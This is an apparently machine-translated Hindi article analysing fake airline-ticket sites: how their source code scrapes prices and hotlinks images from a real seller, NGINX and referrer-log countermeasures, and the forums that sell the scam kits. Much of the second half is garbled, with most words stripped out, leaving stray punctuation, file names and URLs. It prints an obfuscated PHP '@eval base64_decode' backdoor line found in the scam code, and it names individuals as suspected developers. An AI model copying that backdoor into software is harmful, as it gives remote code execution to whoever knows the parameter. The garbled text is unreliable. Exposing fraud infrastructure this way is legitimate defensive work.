कपटपूर्ण साइटों की इस श्रृंखला में उम्मीद के मुताबिक, उपलब्ध स्थानों की जानकारी एक ईमानदार साइट पर ली गई है www.aviacassa.ru। चूंकि एयरलाइंस और उड़ानों की संख्या बड़ी है, ऐसे मुद्दे में सभी चित्रों और आइकन को पहले से डाउनलोड करना बहुत मुश्किल है, ऐसी तस्वीरों के लिंक सीधे मूल साइट पर छोड़ दिए जाते हैं।

छूट हवाई टिकट के लिए प्राप्त मूल मूल्य से काटी गई है। जैसा कि पहले दिखाया गया है, धोखाधड़ी वाली साइट का मालिक मनमाने ढंग से छूट राशि निर्धारित कर सकता है। डिस्काउंट राशि aviacfg.php फ़ाइल में संग्रहीत है।

सीटों की उपलब्धता के बारे में जानकारी प्राप्त करने के लिए जिम्मेदार कोड का एक और पूरा टुकड़ा, चित्रों के लिंक तैयार करना और स्पॉइलर के तहत कीमतें बदलना।

मूल्य पार्सर - कोड का एक अधिक पूर्ण टुकड़ा

हम इस टुकड़ा लाइन को लाइन से अलग नहीं करेंगे, क्योंकि यह कोड ही नहीं है जो महत्वपूर्ण है, लेकिन कपटपूर्ण साइटों के लिए एयरलाइन टिकट पर वास्तविक डेटा कैसे और कहां से आता है, इसका विचार है।

पुराने पार्सर ने डेटा प्राप्त करने के लिए एक और साइट का उपयोग किया:

टिकट कार्यालय के लिए टिप (www.aviacassa.ru)- आपको बाहरी रेफ़रर (संदर्भित साइट) से डोमेन फ़ाइलों के लिंक की संभावना को बंद करने की आवश्यकता है। यह अवसर बिना किसी अपवाद के सभी के लिए बंद किया जा सकता है, या आप केवल विश्वसनीय भागीदारों के लिए अपवाद बना सकते हैं। NGINX वेब सर्वर, जो एविकास का उपयोग करता है, यह करना आसान बनाता है। सभी समान साइटों के लिए एक ही सिफारिश "सूचना दाताओं" के रूप में इस्तेमाल की जा सकती है।

यदि धोखाधड़ी वाली साइटें सीधे टिकट कार्यालयों जैसी साइटों पर छवियों से लिंक नहीं कर सकती हैं, तो यह उनके जीवन को जटिल बना देगा। विभिन्न एयरलाइनों के लोगो और तस्वीरों की संख्या पहले से ज्ञात नहीं है। यहां तक कि अगर आप पहले से चित्रों को डाउनलोड करने का प्रयास करते हैं, तो आप कुछ छोड़ सकते हैं, और धोखाधड़ी वाली साइट बदसूरत दिखाई देगी। ऐसी साइटों को प्रत्येक अनुरोध के साथ सभी चित्रों को सर्वर पर स्थानीय रूप से डाउनलोड करने के लिए मजबूर किया जाएगा, या कम से कम यह जांचें कि क्या ऐसी तस्वीर पहले "कैश" में डाउनलोड की गई थी या नहीं। यह स्कैम सर्वर पर लोड बढ़ाता है और पेज रेंडरिंग को धीमा बनाता है। इसके अलावा, एक समय में छवियों से सीधे लिंक करने की क्षमता के बंद होने से सभी वर्तमान धोखाधड़ी साइटें बन जाएंगी जो टिकट कार्यालय की जानकारी को निष्क्रिय कर देती हैं।

बेशक, समय के साथ, डेवलपर्स पैच बनाएंगे। लेकिन चूंकि धोखाधड़ी वाली साइटें केंद्र द्वारा प्रबंधित नहीं की जाती हैं, और विभिन्न लोगों के पास स्वचालित सॉफ़्टवेयर अपडेट नहीं होते हैं, इसलिए धोखाधड़ी वाले साइट के प्रत्येक मालिक को अपग्रेड करने के अवसर की तलाश करनी होगी। किसी को अपडेटेड कोड मिलेगा, लेकिन किसी को नहीं मिलेगा और साइट काम करना बंद कर देगी।

इसके अलावा, टिकट कार्यालय में ऐसी छवियों के लिए एक अलग लॉग शामिल हो सकता है, जिसमें सभी बाहरी रेफ़रर्स (संदर्भित साइटों) के बारे में रिकॉर्ड सहेजे जाएंगे। और इस लॉग में कुछ दिनों में आपको सभी सक्रिय धोखाधड़ी साइटों की सूची मिल जाएगी। यह बहुत सुविधाजनक है - प्रत्येक साइट को व्यक्तिगत रूप से खोजने की कोशिश करने के बजाय, आप उन्हें स्वतंत्र रूप से सूची (लॉग फ़ाइल) में रजिस्टर करने के लिए कह सकते हैं।

और अगर टिकट ऑफिस में मज़ेदार प्रशंसा होती है, तो आप मज़ाक कर सकते हैं ...

- NGINX , , «» , URL , . . — « » , -, , , , .

कोई कह सकता है कि इस तरह के लेखों का प्रकाशन स्कैमर्स के लिए एक प्रशिक्षण उपकरण के रूप में कार्य करता है और एक सवाल पूछता है, मैंने इसे यहां क्यों पोस्ट किया? मैं जवाब देता हूं। यदि असुरक्षित या अपर्याप्त रूप से संरक्षित सॉफ़्टवेयर के उपयोग के आधार पर धन चुराने का कोई तरीका है, जिसके बारे में कम से कम कुछ लोग जानते हैं और उनका लक्ष्य इस पर पैसा कमाना है, तो ऐसी जानकारी को छिपाने और यह ढोंग करने का प्रयास किया जाता है कि कोई समस्या ही नहीं है इससे भी बुरा परिणाम। जालसाज इन तरीकों का इस्तेमाल और भी अधिक सक्रिय रूप से करते हैं, जबकि बैंक खुश हैं क्योंकि वे नियमित रूप से सेवाओं के लिए कमीशन का भुगतान करते हैं और उनसे पैसे चुराते हैं। बैंकों को कुछ बदलने की आवश्यकता क्यों है, अगर सब कुछ इतना अच्छा है? समय-समय पर, केवल कुछ इंटरनेट उपयोगकर्ताओं को धोखा दिया जाता है और धोखाधड़ी वाली साइटों पर पैसे खो देते हैं। लेकिन परवाह किसे है?

मेरी राय है कि अगर पैसे चुराने का कुछ "मुश्किल" मौका बहुत बड़ी संख्या में लोगों को ज्ञात हो जाता है, तो समय के साथ धोखेबाजों के लिए इसका उपयोग करना अधिक कठिन हो जाता है, और यह उन संगठनों के लिए असंभव हो जाता है जो इसका उपयोग समस्याओं को अनदेखा करने के लिए करते हैं।

स्क्रिप्ट payp2.php और धोखाधड़ी वाली एयरलाइन बिक्री साइटों की एक हालिया श्रृंखला पर उपयोग की जाने वाली कई फाइलें मुझे उपयोगकर्ता फ्रॉस्टॉर्म द्वारा भेजी गई थीं । मुझे नहीं पता कि उसे यह कहाँ मिला है - इस विषय के सभी प्रश्नों को सीधे उसके पास ले जाएँ।

लेकिन मैं तुरंत यह कह सकता हूं कि जैसा कि बाद में पता चला, एयरलाइन टिकटों के लिए धोखाधड़ी वाले साइटों के लिए स्रोत कोड का पूरा सेट खोजना मुश्किल नहीं है। "नकली उड़ानों" के लिए खोज की। दोनों प्रमुख खोज इंजन पहले पृष्ठ पर लिंक प्रदान करते हैं। स्रोत कोड का एक पूरा सेट केवल 25-30 टन रूबल की लागत है। इस विषय के बाद काम करना बंद कर दिया, नॉन-वर्किंग सोर्स कोड, जो कि विक्रेता के अनुसार, "समाप्त करना आसान है", के लिए 10tr लागत शुरू हुई। हाल ही में, मंचों पर संदेशों को देखते हुए, संस्करण 2.0 कथित तौर पर 25tr की कीमत पर फिर से बिक्री पर है।

नीचे एक फ़ोरम में एयरलाइन टिकटों की बिक्री के लिए एक धोखाधड़ी वेबसाइट के स्रोत कोड की मुफ्त बिक्री का एक खराब उदाहरण है।

मंच का स्क्रीनशॉट। (नीट, बहुत लंबी तस्वीरें)

. (2/5)

. (3/5)

. (4/5)

. (5/5)

फ़ोरम में, जिसे स्क्रीनशॉट में दिखाया गया है, समान धोखाधड़ी वाली वेबसाइटों के कोड, क्रेडिट कार्ड की जानकारी, पासपोर्ट डेटा, राज्य डेटाबेस की व्यक्तिगत जानकारी को खुले तौर पर बेचा और खरीदा जाता है, यह नकली पासपोर्ट, ड्राइवर के लाइसेंस, आदि बनाने के लिए प्रस्तावित है। यह उदाहरण के लिए सिर्फ एक छोटी सूची है। यानी दुर्लभ अपवादों के साथ, निरंतर अपराध है। इसी समय, फोरम प्रशासन खरीदारों और विक्रेताओं के बीच एक गारंटर के रूप में कार्य करता है। कई फोरम हैं जैसे कि यह एक है। वे सभी वर्षों तक स्वतंत्र रूप से काम करते हैं। वे सभी सर्च इंजन (Yandex, Google, आदि) द्वारा पूरी तरह से अनुक्रमित हैं। मैं एक विशिष्ट मंच के पते को उद्धृत नहीं करता हूं। वे खोजने में बहुत आसान हैं।

चूंकि एयरलाइन टिकटों की बिक्री के लिए प्रत्येक धोखाधड़ी वेबसाइट के पीछे एक अलग व्यक्ति होता है, जो सस्ती के लिए वेबसाइट के स्रोत कोड को खरीदता है, प्रत्येक मामले में आप उस व्यक्ति को जिम्मेदार पा सकते हैं और यह किया जाना चाहिए। ऐसी नकली साइट के प्रत्येक व्यवस्थापक एक सुपर पेशेवर नहीं हैं जिनके निशान नहीं पाए जा सकते हैं। मुझे यकीन है कि इस तरह के प्रवेशों के बीच उन लोगों के लिए पर्याप्त हैं जो विरासत में मिले हैं और, अगर उनके पास उचित अधिकार है, तो गणना की जा सकती है। लेकिन, मेरी राय में, प्रत्येक नकली साइट से व्यक्तिगत रूप से निपटने की कोशिश करने के बजाय, आपको उन साइटों पर ध्यान देना चाहिए जहां ऐसी नकली साइटों के स्रोत स्वतंत्र रूप से वितरित किए जाते हैं।

फर्जी एयरलाइन टिकट बेचने वाले फर्जी साइटों पर क्रश उड़ाने के लिए आपको इतनी जरूरत नहीं है। यदि हर कोई थोड़ा सा करता है, तो यह धोखेबाजों के जीवन को बहुत जटिल करेगा और इस तरह के व्यवसाय का संचालन करने की अक्षमता का सवाल उठा सकता है। यह खोज इंजनों से थोड़ा ध्यान रखता है - ऐसी साइटों को विज्ञापनों में आने से रोकने के लिए। ऐसी साइटों को विज्ञापन के बिना शीर्ष परिणामों में तोड़ना अवास्तविक है। इसके अलावा, खोज इंजन को उन साइटों को बाहर करना चाहिए जो वास्तव में आपराधिक योजनाओं को खरीदते हैं और बेचते हैं। बैंकों से अपनी भुगतान सेवाओं पर नज़र रखने में थोड़ा ध्यान दिया जाता है ताकि धोखेबाज़ आसानी से उनका उपयोग न कर सकें। हॉस्टलर्स से थोड़ा ध्यान चाहिए। आपको भुगतान प्रणालियों पर थोड़ा ध्यान देने की आवश्यकता है - आरंभ करने के लिए, 3 डी सिक्योर चेक किए बिना भुगतान की अनुमति न दें (जैसा कि प्रकाशन के पहले भाग में दिखाया गया है,यह अभी भी संभव है)। कानून प्रवर्तन से कुछ ध्यान देने की आवश्यकता है। पैसे की चोरी के हर मामले की जांच करने के बजाय, अग्रिम में कार्य करना अधिक कुशल है - उस घोंसले से निपटना जहां स्कैमर्स संवाद करते हैं (विश्लेषण, उदाहरण के लिए, उन बहुत ही छाया मंचों)। और निश्चित रूप से आपको एयरलाइन टिकट के संभावित खरीदारों से थोड़ा ध्यान देने की आवश्यकता है।

वे कहते हैं कि मरम्मत पूरी नहीं हो सकती है, और इसे केवल रोका जा सकता है। यह प्रकाशन एक समान मामला है। इसलिए, हालांकि बहुत अधिक लिखा जा सकता है, मैं यहां रुकूंगा। आपका ध्यान के लिए धन्यवाद। मुझे आपकी टिप्पणी पर खुशी होगी।

PS जैकी चैन के बारे में ... आप पढ़ नहीं सकते

, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .

VISA Mastercard (logo_standart_ru.png):

. , .

parser.php

, , , - . , -, «» . (config.php) , . . . . .

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

, , , «» .

email

, EMAIL. :

3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard

email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .

. . - .

:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas —
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .

? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?

. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .

80 , . , . , . :

56 , « », , .
, , « », , .

:

- -. , . , . . , . , , , .

More articles: